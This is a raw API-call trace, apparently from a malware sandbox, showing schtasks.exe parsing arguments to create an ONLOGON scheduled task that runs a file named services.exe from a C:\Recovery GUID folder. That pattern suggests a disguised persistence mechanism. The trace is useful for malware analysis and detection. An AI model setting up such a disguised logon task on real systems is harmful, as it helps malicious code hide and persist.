[0149.504] lstrlenW (lpString="ONLOGON") returned 7 [0149.504] lstrlenW (lpString="ONLOGON") returned 7 [0149.504] SetLastError (dwErrCode=0x0) [0149.504] SetLastError (dwErrCode=0x0) [0149.505] lstrlenW (lpString="/tr") returned 3 [0149.505] lstrlenW (lpString="-/") returned 2 [0149.505] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0149.505] lstrlenW (lpString="create") returned 6 [0149.505] lstrlenW (lpString="create") returned 6 [0149.505] _memicmp (_Buf1=0x30c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.505] lstrlenW (lpString="tr") returned 2 [0149.505] _memicmp (_Buf1=0x30c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.505] _vsnwprintf (in: _Buffer=0x30c260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|create|") returned 8 [0149.505] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|tr|") returned 4 [0149.505] lstrlenW (lpString="|create|") returned 8 [0149.505] lstrlenW (lpString="|tr|") returned 4 [0149.505] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0149.505] SetLastError (dwErrCode=0x490) [0149.505] lstrlenW (lpString="?") returned 1 [0149.505] lstrlenW (lpString="?") returned 1 [0149.505] _memicmp (_Buf1=0x30c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.505] lstrlenW (lpString="tr") returned 2 [0149.505] _memicmp (_Buf1=0x30c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.505] _vsnwprintf (in: _Buffer=0x30c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|?|") returned 3 [0149.505] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|tr|") returned 4 [0149.505] lstrlenW (lpString="|?|") returned 3 [0149.505] lstrlenW (lpString="|tr|") returned 4 [0149.505] SetLastError (dwErrCode=0x490) [0149.505] lstrlenW (lpString="s") returned 1 [0149.505] lstrlenW (lpString="s") returned 1 [0149.505] _memicmp (_Buf1=0x30c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.505] lstrlenW (lpString="tr") returned 2 [0149.506] _memicmp (_Buf1=0x30c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.506] _vsnwprintf (in: _Buffer=0x30c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|s|") returned 3 [0149.506] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|tr|") returned 4 [0149.506] lstrlenW (lpString="|s|") returned 3 [0149.506] lstrlenW (lpString="|tr|") returned 4 [0149.506] SetLastError (dwErrCode=0x490) [0149.506] lstrlenW (lpString="u") returned 1 [0149.506] lstrlenW (lpString="u") returned 1 [0149.506] _memicmp (_Buf1=0x30c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.506] lstrlenW (lpString="tr") returned 2 [0149.506] _memicmp (_Buf1=0x30c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.506] _vsnwprintf (in: _Buffer=0x30c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|u|") returned 3 [0149.506] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|tr|") returned 4 [0149.506] lstrlenW (lpString="|u|") returned 3 [0149.506] lstrlenW (lpString="|tr|") returned 4 [0149.506] SetLastError (dwErrCode=0x490) [0149.506] lstrlenW (lpString="p") returned 1 [0149.506] lstrlenW (lpString="p") returned 1 [0149.506] _memicmp (_Buf1=0x30c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.506] lstrlenW (lpString="tr") returned 2 [0149.506] _memicmp (_Buf1=0x30c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.506] _vsnwprintf (in: _Buffer=0x30c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|p|") returned 3 [0149.506] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|tr|") returned 4 [0149.506] lstrlenW (lpString="|p|") returned 3 [0149.506] lstrlenW (lpString="|tr|") returned 4 [0149.506] SetLastError (dwErrCode=0x490) [0149.506] lstrlenW (lpString="ru") returned 2 [0149.507] lstrlenW (lpString="ru") returned 2 [0149.507] _memicmp (_Buf1=0x30c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.507] lstrlenW (lpString="tr") returned 2 [0149.507] _memicmp (_Buf1=0x30c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.507] _vsnwprintf (in: _Buffer=0x30c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|ru|") returned 4 [0149.507] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|tr|") returned 4 [0149.507] lstrlenW (lpString="|ru|") returned 4 [0149.507] lstrlenW (lpString="|tr|") returned 4 [0149.507] StrStrIW (lpFirst="|ru|", lpSrch="|tr|") returned 0x0 [0149.507] SetLastError (dwErrCode=0x490) [0149.507] lstrlenW (lpString="rp") returned 2 [0149.507] lstrlenW (lpString="rp") returned 2 [0149.507] _memicmp (_Buf1=0x30c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.507] lstrlenW (lpString="tr") returned 2 [0149.507] _memicmp (_Buf1=0x30c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.507] _vsnwprintf (in: _Buffer=0x30c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|rp|") returned 4 [0149.507] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|tr|") returned 4 [0149.507] lstrlenW (lpString="|rp|") returned 4 [0149.507] lstrlenW (lpString="|tr|") returned 4 [0149.507] StrStrIW (lpFirst="|rp|", lpSrch="|tr|") returned 0x0 [0149.507] SetLastError (dwErrCode=0x490) [0149.507] lstrlenW (lpString="sc") returned 2 [0149.507] lstrlenW (lpString="sc") returned 2 [0149.507] _memicmp (_Buf1=0x30c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.507] lstrlenW (lpString="tr") returned 2 [0149.507] _memicmp (_Buf1=0x30c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.508] _vsnwprintf (in: _Buffer=0x30c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|sc|") returned 4 [0149.508] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|tr|") returned 4 [0149.508] lstrlenW (lpString="|sc|") returned 4 [0149.508] lstrlenW (lpString="|tr|") returned 4 [0149.508] StrStrIW (lpFirst="|sc|", lpSrch="|tr|") returned 0x0 [0149.508] SetLastError (dwErrCode=0x490) [0149.508] lstrlenW (lpString="mo") returned 2 [0149.508] lstrlenW (lpString="mo") returned 2 [0149.508] _memicmp (_Buf1=0x30c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.508] lstrlenW (lpString="tr") returned 2 [0149.508] _memicmp (_Buf1=0x30c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.508] _vsnwprintf (in: _Buffer=0x30c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|mo|") returned 4 [0149.508] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|tr|") returned 4 [0149.508] lstrlenW (lpString="|mo|") returned 4 [0149.508] lstrlenW (lpString="|tr|") returned 4 [0149.508] StrStrIW (lpFirst="|mo|", lpSrch="|tr|") returned 0x0 [0149.508] SetLastError (dwErrCode=0x490) [0149.508] lstrlenW (lpString="d") returned 1 [0149.508] lstrlenW (lpString="d") returned 1 [0149.508] _memicmp (_Buf1=0x30c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.508] lstrlenW (lpString="tr") returned 2 [0149.508] _memicmp (_Buf1=0x30c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.508] _vsnwprintf (in: _Buffer=0x30c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|d|") returned 3 [0149.508] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|tr|") returned 4 [0149.508] lstrlenW (lpString="|d|") returned 3 [0149.508] lstrlenW (lpString="|tr|") returned 4 [0149.508] SetLastError (dwErrCode=0x490) [0149.508] lstrlenW (lpString="m") returned 1 [0149.509] lstrlenW (lpString="m") returned 1 [0149.509] _memicmp (_Buf1=0x30c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.509] lstrlenW (lpString="tr") returned 2 [0149.509] _memicmp (_Buf1=0x30c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.509] _vsnwprintf (in: _Buffer=0x30c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|m|") returned 3 [0149.509] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|tr|") returned 4 [0149.509] lstrlenW (lpString="|m|") returned 3 [0149.509] lstrlenW (lpString="|tr|") returned 4 [0149.509] SetLastError (dwErrCode=0x490) [0149.509] lstrlenW (lpString="i") returned 1 [0149.509] lstrlenW (lpString="i") returned 1 [0149.509] _memicmp (_Buf1=0x30c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.509] lstrlenW (lpString="tr") returned 2 [0149.509] _memicmp (_Buf1=0x30c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.509] _vsnwprintf (in: _Buffer=0x30c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|i|") returned 3 [0149.509] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|tr|") returned 4 [0149.509] lstrlenW (lpString="|i|") returned 3 [0149.509] lstrlenW (lpString="|tr|") returned 4 [0149.509] SetLastError (dwErrCode=0x490) [0149.509] lstrlenW (lpString="tn") returned 2 [0149.509] lstrlenW (lpString="tn") returned 2 [0149.509] _memicmp (_Buf1=0x30c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.509] lstrlenW (lpString="tr") returned 2 [0149.509] _memicmp (_Buf1=0x30c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.509] _vsnwprintf (in: _Buffer=0x30c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|tn|") returned 4 [0149.509] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|tr|") returned 4 [0149.510] lstrlenW (lpString="|tn|") returned 4 [0149.510] lstrlenW (lpString="|tr|") returned 4 [0149.510] StrStrIW (lpFirst="|tn|", lpSrch="|tr|") returned 0x0 [0149.510] SetLastError (dwErrCode=0x490) [0149.510] lstrlenW (lpString="tr") returned 2 [0149.510] lstrlenW (lpString="tr") returned 2 [0149.510] _memicmp (_Buf1=0x30c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.510] lstrlenW (lpString="tr") returned 2 [0149.510] _memicmp (_Buf1=0x30c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.510] _vsnwprintf (in: _Buffer=0x30c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|tr|") returned 4 [0149.510] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|tr|") returned 4 [0149.510] lstrlenW (lpString="|tr|") returned 4 [0149.510] lstrlenW (lpString="|tr|") returned 4 [0149.510] StrStrIW (lpFirst="|tr|", lpSrch="|tr|") returned="|tr|" [0149.510] SetLastError (dwErrCode=0x0) [0149.510] SetLastError (dwErrCode=0x0) [0149.510] lstrlenW (lpString="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe'") returned 63 [0149.510] lstrlenW (lpString="-/") returned 2 [0149.510] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0149.510] SetLastError (dwErrCode=0x490) [0149.510] SetLastError (dwErrCode=0x490) [0149.510] SetLastError (dwErrCode=0x0) [0149.510] lstrlenW (lpString="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe'") returned 63 [0149.510] StrChrIW (lpStart="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe'", wMatch=0x3a) returned=":\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe'" [0149.510] lstrlenW (lpString="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe'") returned 63 [0149.510] _memicmp (_Buf1=0x30c310, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.510] _memicmp (_Buf1=0x30d500, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.511] SetLastError (dwErrCode=0x7a) [0149.511] SetLastError (dwErrCode=0x0) [0149.511] SetLastError (dwErrCode=0x0) [0149.511] lstrlenW (lpString="'C") returned 2 [0149.511] lstrlenW (lpString="-/") returned 2 [0149.511] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0149.511] SetLastError (dwErrCode=0x490) [0149.511] SetLastError (dwErrCode=0x490) [0149.511] SetLastError (dwErrCode=0x0) [0149.511] _memicmp (_Buf1=0x30d560, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.511] lstrlenW (lpString="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe'") returned 63 [0149.511] GetProcessHeap () returned 0x2f0000 [0149.511] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30d580) returned 1 [0149.511] GetProcessHeap () returned 0x2f0000 [0149.511] RtlReAllocateHeap (Heap=0x2f0000, Flags=0xc, Ptr=0x30d580, Size=0x80) returned 0x30c350 [0149.511] lstrlenW (lpString="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe'") returned 63 [0149.511] lstrlenW (lpString=" \x09") returned 2 [0149.511] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0149.511] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0149.511] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0149.511] StrChrW (lpStart=" \x09", wMatch=0x3a) returned 0x0 [0149.511] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0149.511] StrChrW (lpStart=" \x09", wMatch=0x52) returned 0x0 [0149.511] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0149.511] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0149.511] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0149.511] StrChrW (lpStart=" \x09", wMatch=0x76) returned 0x0 [0149.511] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0149.511] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0149.511] StrChrW (lpStart=" \x09", wMatch=0x79) returned 0x0 [0149.512] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0149.512] StrChrW (lpStart=" \x09", wMatch=0x64) returned 0x0 [0149.512] StrChrW (lpStart=" \x09", wMatch=0x33) returned 0x0 [0149.512] StrChrW (lpStart=" \x09", wMatch=0x32) returned 0x0 [0149.512] StrChrW (lpStart=" \x09", wMatch=0x37) returned 0x0 [0149.512] StrChrW (lpStart=" \x09", wMatch=0x64) returned 0x0 [0149.512] StrChrW (lpStart=" \x09", wMatch=0x35) returned 0x0 [0149.512] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0149.512] StrChrW (lpStart=" \x09", wMatch=0x32) returned 0x0 [0149.512] StrChrW (lpStart=" \x09", wMatch=0x2d) returned 0x0 [0149.512] StrChrW (lpStart=" \x09", wMatch=0x37) returned 0x0 [0149.512] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0149.512] StrChrW (lpStart=" \x09", wMatch=0x34) returned 0x0 [0149.512] StrChrW (lpStart=" \x09", wMatch=0x37) returned 0x0 [0149.512] StrChrW (lpStart=" \x09", wMatch=0x2d) returned 0x0 [0149.512] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0149.512] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0149.512] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0149.512] StrChrW (lpStart=" \x09", wMatch=0x62) returned 0x0 [0149.512] StrChrW (lpStart=" \x09", wMatch=0x2d) returned 0x0 [0149.512] StrChrW (lpStart=" \x09", wMatch=0x39) returned 0x0 [0149.512] StrChrW (lpStart=" \x09", wMatch=0x38) returned 0x0 [0149.512] StrChrW (lpStart=" \x09", wMatch=0x36) returned 0x0 [0149.512] StrChrW (lpStart=" \x09", wMatch=0x32) returned 0x0 [0149.512] StrChrW (lpStart=" \x09", wMatch=0x2d) returned 0x0 [0149.512] StrChrW (lpStart=" \x09", wMatch=0x64) returned 0x0 [0149.512] StrChrW (lpStart=" \x09", wMatch=0x37) returned 0x0 [0149.512] StrChrW (lpStart=" \x09", wMatch=0x33) returned 0x0 [0149.512] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0149.513] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0149.513] StrChrW (lpStart=" \x09", wMatch=0x35) returned 0x0 [0149.513] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0149.513] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0149.513] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0149.513] StrChrW (lpStart=" \x09", wMatch=0x37) returned 0x0 [0149.513] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0149.513] StrChrW (lpStart=" \x09", wMatch=0x39) returned 0x0 [0149.513] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0149.513] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0149.513] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0149.513] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0149.513] StrChrW (lpStart=" \x09", wMatch=0x76) returned 0x0 [0149.513] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0149.513] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0149.513] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0149.513] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0149.513] StrChrW (lpStart=" \x09", wMatch=0x2e) returned 0x0 [0149.513] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0149.513] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0149.513] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0149.513] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0149.513] GetLastError () returned 0x0 [0149.513] lstrlenW (lpString="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe'") returned 63 [0149.513] lstrlenW (lpString="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe'") returned 63 [0149.513] SetLastError (dwErrCode=0x0) [0149.513] SetLastError (dwErrCode=0x0) [0149.513] lstrlenW (lpString="/rl") returned 3 [0149.513] lstrlenW (lpString="-/") returned 2 [0149.513] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0149.514] lstrlenW (lpString="create") returned 6 [0149.514] lstrlenW (lpString="create") returned 6 [0149.514] _memicmp (_Buf1=0x30c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.514] lstrlenW (lpString="rl") returned 2 [0149.514] _memicmp (_Buf1=0x30c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.514] _vsnwprintf (in: _Buffer=0x30c260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|create|") returned 8 [0149.514] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|rl|") returned 4 [0149.514] lstrlenW (lpString="|create|") returned 8 [0149.514] lstrlenW (lpString="|rl|") returned 4 [0149.514] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0149.514] SetLastError (dwErrCode=0x490) [0149.514] lstrlenW (lpString="?") returned 1 [0149.514] lstrlenW (lpString="?") returned 1 [0149.514] _memicmp (_Buf1=0x30c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.514] lstrlenW (lpString="rl") returned 2 [0149.514] _memicmp (_Buf1=0x30c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.514] _vsnwprintf (in: _Buffer=0x30c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|?|") returned 3 [0149.514] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|rl|") returned 4 [0149.514] lstrlenW (lpString="|?|") returned 3 [0149.514] lstrlenW (lpString="|rl|") returned 4 [0149.514] SetLastError (dwErrCode=0x490) [0149.514] lstrlenW (lpString="s") returned 1 [0149.514] lstrlenW (lpString="s") returned 1 [0149.514] _memicmp (_Buf1=0x30c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.514] lstrlenW (lpString="rl") returned 2 [0149.514] _memicmp (_Buf1=0x30c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.514] _vsnwprintf (in: _Buffer=0x30c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|s|") returned 3 [0149.515] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|rl|") returned 4 [0149.515] lstrlenW (lpString="|s|") returned 3 [0149.515] lstrlenW (lpString="|rl|") returned 4 [0149.515] SetLastError (dwErrCode=0x490) [0149.515] lstrlenW (lpString="u") returned 1 [0149.515] lstrlenW (lpString="u") returned 1 [0149.515] _memicmp (_Buf1=0x30c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.515] lstrlenW (lpString="rl") returned 2 [0149.515] _memicmp (_Buf1=0x30c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.515] _vsnwprintf (in: _Buffer=0x30c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|u|") returned 3 [0149.515] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|rl|") returned 4 [0149.515] lstrlenW (lpString="|u|") returned 3 [0149.515] lstrlenW (lpString="|rl|") returned 4 [0149.515] SetLastError (dwErrCode=0x490) [0149.515] lstrlenW (lpString="p") returned 1 [0149.515] lstrlenW (lpString="p") returned 1 [0149.515] _memicmp (_Buf1=0x30c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.515] lstrlenW (lpString="rl") returned 2 [0149.515] _memicmp (_Buf1=0x30c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.515] _vsnwprintf (in: _Buffer=0x30c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|p|") returned 3 [0149.515] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|rl|") returned 4 [0149.515] lstrlenW (lpString="|p|") returned 3 [0149.515] lstrlenW (lpString="|rl|") returned 4 [0149.515] SetLastError (dwErrCode=0x490) [0149.515] lstrlenW (lpString="ru") returned 2 [0149.515] lstrlenW (lpString="ru") returned 2 [0149.515] _memicmp (_Buf1=0x30c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.515] lstrlenW (lpString="rl") returned 2 [0149.516] _memicmp (_Buf1=0x30c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.516] _vsnwprintf (in: _Buffer=0x30c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|ru|") returned 4 [0149.516] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|rl|") returned 4 [0149.516] lstrlenW (lpString="|ru|") returned 4 [0149.516] lstrlenW (lpString="|rl|") returned 4 [0149.516] StrStrIW (lpFirst="|ru|", lpSrch="|rl|") returned 0x0 [0149.516] SetLastError (dwErrCode=0x490) [0149.516] lstrlenW (lpString="rp") returned 2 [0149.516] lstrlenW (lpString="rp") returned 2 [0149.516] _memicmp (_Buf1=0x30c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.516] lstrlenW (lpString="rl") returned 2 [0149.516] _memicmp (_Buf1=0x30c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.516] _vsnwprintf (in: _Buffer=0x30c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|rp|") returned 4 [0149.516] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|rl|") returned 4 [0149.516] lstrlenW (lpString="|rp|") returned 4 [0149.516] lstrlenW (lpString="|rl|") returned 4 [0149.516] StrStrIW (lpFirst="|rp|", lpSrch="|rl|") returned 0x0 [0149.516] SetLastError (dwErrCode=0x490) [0149.516] lstrlenW (lpString="sc") returned 2 [0149.516] lstrlenW (lpString="sc") returned 2 [0149.516] _memicmp (_Buf1=0x30c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.516] lstrlenW (lpString="rl") returned 2 [0149.516] _memicmp (_Buf1=0x30c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.516] _vsnwprintf (in: _Buffer=0x30c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|sc|") returned 4 [0149.516] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|rl|") returned 4 [0149.517] lstrlenW (lpString="|sc|") returned 4 [0149.517] lstrlenW (lpString="|rl|") returned 4 [0149.517] StrStrIW (lpFirst="|sc|", lpSrch="|rl|") returned 0x0 [0149.517] SetLastError (dwErrCode=0x490) [0149.517] lstrlenW (lpString="mo") returned 2 [0149.517] lstrlenW (lpString="mo") returned 2 [0149.517] _memicmp (_Buf1=0x30c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.517] lstrlenW (lpString="rl") returned 2 [0149.517] _memicmp (_Buf1=0x30c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.517] _vsnwprintf (in: _Buffer=0x30c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|mo|") returned 4 [0149.517] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|rl|") returned 4 [0149.517] lstrlenW (lpString="|mo|") returned 4 [0149.517] lstrlenW (lpString="|rl|") returned 4 [0149.517] StrStrIW (lpFirst="|mo|", lpSrch="|rl|") returned 0x0 [0149.517] SetLastError (dwErrCode=0x490) [0149.517] lstrlenW (lpString="d") returned 1 [0149.517] lstrlenW (lpString="d") returned 1 [0149.517] _memicmp (_Buf1=0x30c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.517] lstrlenW (lpString="rl") returned 2 [0149.517] _memicmp (_Buf1=0x30c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.517] _vsnwprintf (in: _Buffer=0x30c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|d|") returned 3 [0149.517] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|rl|") returned 4 [0149.517] lstrlenW (lpString="|d|") returned 3 [0149.517] lstrlenW (lpString="|rl|") returned 4 [0149.517] SetLastError (dwErrCode=0x490) [0149.517] lstrlenW (lpString="m") returned 1 [0149.517] lstrlenW (lpString="m") returned 1 [0149.518] _memicmp (_Buf1=0x30c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.518] lstrlenW (lpString="rl") returned 2 [0149.518] _memicmp (_Buf1=0x30c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.518] _vsnwprintf (in: _Buffer=0x30c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|m|") returned 3 [0149.518] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|rl|") returned 4 [0149.518] lstrlenW (lpString="|m|") returned 3 